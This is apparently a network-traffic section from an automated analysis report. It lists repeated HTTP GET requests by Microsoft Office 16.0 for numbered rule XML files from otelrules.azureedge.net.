Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
